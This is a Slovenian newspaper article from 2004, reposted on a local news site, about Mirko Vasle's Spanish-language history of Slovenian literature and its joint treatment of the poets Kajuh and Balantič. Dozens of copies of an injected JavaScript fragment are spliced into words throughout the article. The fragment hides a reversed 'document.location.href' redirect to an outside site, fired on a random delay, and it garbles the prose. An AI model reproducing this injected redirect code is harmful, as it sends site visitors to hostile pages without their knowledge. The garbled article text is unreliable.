Kajuh in Balantič – prvič skupaj v Argentini

5. januarja, 2004
avtor Sostanj.info
0

VEčER: Ponedeljek, 5. Januar 2004 – Stran: čITALNICA

Prvi pregled slovenske književnosti v španskem jeziku

Kajuh in Balantič – prvič skupaj v Argentini

V začetku decembra je izšla v Buenos Airesu zanimiva knjiga: Breve histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toria de la literatura eslovena. Zanimiva je iz dveh razlogov, prvič, ker je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prvi pregled slovenske književnosti v španskem jeziku, in drugič, ker njen avtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor ni ne slavist ne jezikoslovec in ne književnik, ampak “sobotni novinar” Mirko Vasle.

Ker je Mirko Vasle Slovenec in ker je odgovorni urednik Okenca v Slovenijo, sobotne radijske oddaje za Slovence v Argentini, je prva pomisel: zakaj knjiga v španščini? Za nove generacije Slovencev v Argentini, ki ne znajo dobro ali sploh ne znajo slovensko, ali za Argentince? Oboje, pritrdi avtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor, eden od temeljev samostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tojnosti je tudi umetnost, kultura, jezik, literatura, kar smo s tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to knjigo dokazali in pokazali tudi Argentincem. Naj še dodamo, da je tiskanje plačalo Ministrstvo za kulturo RS, tiskala jo je pa tiskarna v Buenos Airesu, katere lastnik je Slovenec.

Kako da se je Mirko Vasle, poslovno sicer v čistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to drugih krogih, lotil pisanja pregleda slovenske književnosti? Ne pisanja, popravi, ničesar ni na novo napisal, samo zbral. Knjiga je namreč zbir besedil o slovenski književnosti, ki jo je štiri leta predstavljal v španskem jeziku v sobotni slovenski oddaji Okence v Slovenijo; oddajo je pod imenom Slovenski kotiček ustanovil in do svoje smrti plačeval zanjo najem frekvence čudovit človek Albert čuk, Slovenec, ki je v Argentini sanjal in dosanjal sen o slovenski besedi na radijskih valovih v Argentini. Po njegovi smrti so spremenili ime oddaje v Okence v Slovenijo, je pa bil tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hkrati čas, ko se je že nakazovalo, kam pluje Argentina na gospodarskem področju. To se je še kako poznalo tudi pri denarni podpori oddaje, stroški za najemnino so bili zelo visoki, in ustvarjalci so začeli resno razmišljati, kako rešiti oddajo. Pa so jo rešili in – zahvaljujoč internetu – se jih danes sliši po vsem svetu.

Rešilna bilka

“Ko sem bil na novinarskih seminarjih v Sloveniji, ki jih je organiziral Urad za Slovence po svetu pri Ministrstvu za zunanje zadeve Slovenije, sem se posvetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toval s prijateljem, kako rešiti oddajo. Svetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toval mi je, naj se prijavim na razpis Ministrstva za kulturo, za katerega v Okencu sploh nismo vedeli, vendar je bilo treba, če smo hoteli dobiti kaj denarja, pripraviti projekt. Odločili smo se, da bomo v našo sobotno kramljajočo oddajo uvedli tudi zgodovino slovenskega slovstva v španskem jeziku, in s tem projektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom smo na razpisu uspeli. Cela štiri leta smo predstavljali slovenske književnike, po štirih letih pa je ostalo v računalniku tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toliko gradiva, da bi bila velika škoda, če bi ga zavrgli, če bi z zadnjim poglavjem za vedno izzvenelo. In ker v španskem jeziku ni nobenega pregleda slovenske književnosti, sem se začel poigravati z idejo, da bi lahko iz tega nastala knjiga. Material je bil v računalniku, izziv zadosten in spodbujanje radijskih kolegov veliko. Samo še nekaj je bilo treba narediti – radijski jezik prevesti v knjižnega. Govorjena beseda je vendarle drugačna od pisane, radijske oddaje imajo drugačno notranjo dinamiko, pisana beseda pa ima drugačno težo, ker je trajnejša.”

Kakšni dve leti je “prevajal” svoja radijska besedila v pisani jezik. Za oddaje je iz slovenščine prevajal sam, kadar mu je zmanjkalo tal pod nogami ali pa je bil glede kakšnega izraza negotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov, navsezadnje živi vse življenje na španskem govornem področju, je po telefonu zaprosil za pomoč kakšnega prijatelja. Posebno poglavje v nastajanju knjige in poseben problem so bile fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tografije, ki jih je v knjigi več kot 170. Na pomoč so mu prijazno priskočili v NUKu, za kar se jim tudi na tem mestu iskreno zahvaljuje, nekatere fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tografije, recimo Antobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tona Kodra, pa je snel celo z interneta.

Odkrivanje Kajuha, Bora…

A slovenski literarni ustvarjalci ne živijo le v Sloveniji. Tako kot je zgodovina raztepla Slovence po svetu, ravno tako so razpršeni ustvarjalci, ki ustvarjajo v slovenskem jeziku, tudi v Argentini jih je kar precej.

“Tako kot v Argentini nismo poznali sodobnih slovenskih literarnih ustvarjalcev ali tistih, ki so pisali recimo partizansko in socialistično književnost, tudi Slovenci niste poznali slovenske literature, ki je nastala v Argentini,” pravi. “Da sem pregled, ki je v slovenskem jeziku seveda obstajal, dopolnil s temi, sem hodil od enega do drugega in si zapisoval osebne podatke in podatke o literarnem opusu; poglavji o slovenskih književnikih na tujem in v Argentini sem uvrstil na konec knjige, ki obsega skoraj 200 strani.”

V Vasletobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovem pregledu nastobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topata prvič skupaj Balantič in Kajuh, mlada pesnika, ki sta umrla v drugi svetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovni vojni na nasprotnih straneh. Je s tem presežena ideologija, ki je zaznamovala mlada pesnika?

“Pri uvrščanju sem mislil samo na literaturo, niti malo na politiko ali ideologijo, ki je mlada nadobudna pesnika postavila vsakega na svojo stran, pogojno rečeno na pravo in nepravo. Zaradi ideologije so bili v Sloveniji predolgo zamolčani nekateri dobri književniki, med njimi zagotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovo Balantič, Slovenci v Argentini pa nismo poznali Kajuha, Bora, Voranca, Kranjca… Sam sem zanje prvič slišal, ko sem začel pripravljati radijske oddaje o slovenskih književnikih. V umetnosti ni prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tora za ideologijo, umetnost ne more biti bela ali rdeča, ampak je ena sama.”

Literarna sprava

Ni bojazni, da bi nekaterim Slovencem v Argentini tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to odtajanje, nekakšna literarna sprava, čeprav le v pregledu slovenske književnosti, ne bila po volji?

“Ne verjamem, da bo kakšna resna kritika, saj tudi ni bilo negativnih odzivov na te prispevke v naših sobotnih radijskih oddajah. Mislim celo, da so bile dobro sprejete. Bi bile kredibilne, če bi koga zamolčali? če smo bili pol stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toletja navajeni le enega, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ne pomeni, da tega ne moremo enkrat preseči in pokazati resnico. Morda bi celo lahko rekel, da zamerim, da me niso učili tudi o Kajuhu, da nisem doslej poznal njegove čudovite pesmi Bosa pojdiva, po drugi strani pa skušam razumeti ljudi, ki so doživeli povojne grozote, in vem, da je od njih težko pričakovati objektivnost. Kljub temu mislim, da je čas, da omenimo skupaj Kajuha in Balantiča, čudovita, čuteča mlada uma, oba umrla veliko prezgodaj, vseeno na kateri strani.”

Zadnji poglavji sta namenjeni ustvarjalcem, ki živijo in ustvarjajo v Argentini v slovenskem jeziku, saj je bilo vsa desetletja literarno ustvarjanje med Slovenci v Argentini živahno. V pregledu predstavlja denimo Vladi Kocjančičevo, eno najboljših argentinskih pisateljic, Tineta Debeljaka, enega največjih intelektualcev, kar so jih imeli Slovenci v Argentini, in še mnogo drugih, ki jih tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tostran oceana domala ne poznamo: Vinka Rodeta pa mlajšega Toneta Rodeta, Toneta Brulca, Tineta Kovačiča, Maksa Osojnika, Marka Kremžarja, Andreja Rota, Pavleta Fajdigo, Janeza Kačarja, Mirka Kunčiča… Vsi ti so ustvarjali izključno v slovenskem jeziku in skoraj vsi pri Slovenski kulturni akciji, ki deluje tu že petdeset let.

Vsi, predstavljeni v knjigi, pa so, zanimivo, iz vala politične emigracije po drugi svetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovni vojni, medtem ko iz generacije med svetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovnima vojnama ni nobenega. Vasle meni, da so se tiste generacije drugače asimilirale kot povojna politična, ki je že imela slovenske sobotne šole in se je tudi organizirala v Slovenski kulturni akciji, ki je skrbela za izdajanje knjig in ohranjanje slovenske besede.

Knjigo je Mirko posvetil soprogi in otrokoma. Ne zaradi lepšega, ampak iz hvaležnosti za njihovo razumevanje in podporo, ker je ves prosti čas, ki mu ga ob dveh službah ostane bore malo (poleg redne službe je tudi odgovorni urednik Okenca v Slovenijo) posvetil pripravi knjige.

“Z razumevanjem in na račun družine, žene, hčere in sina, sem jo pripravljal, prosti čas, ki bi ga moral nameniti njim, sem preživljal pred računalnikom, telefonaril in obiskoval ustvarjalce. Brez razumevanja družine knjige ne bi bilo.”

Nada Ravter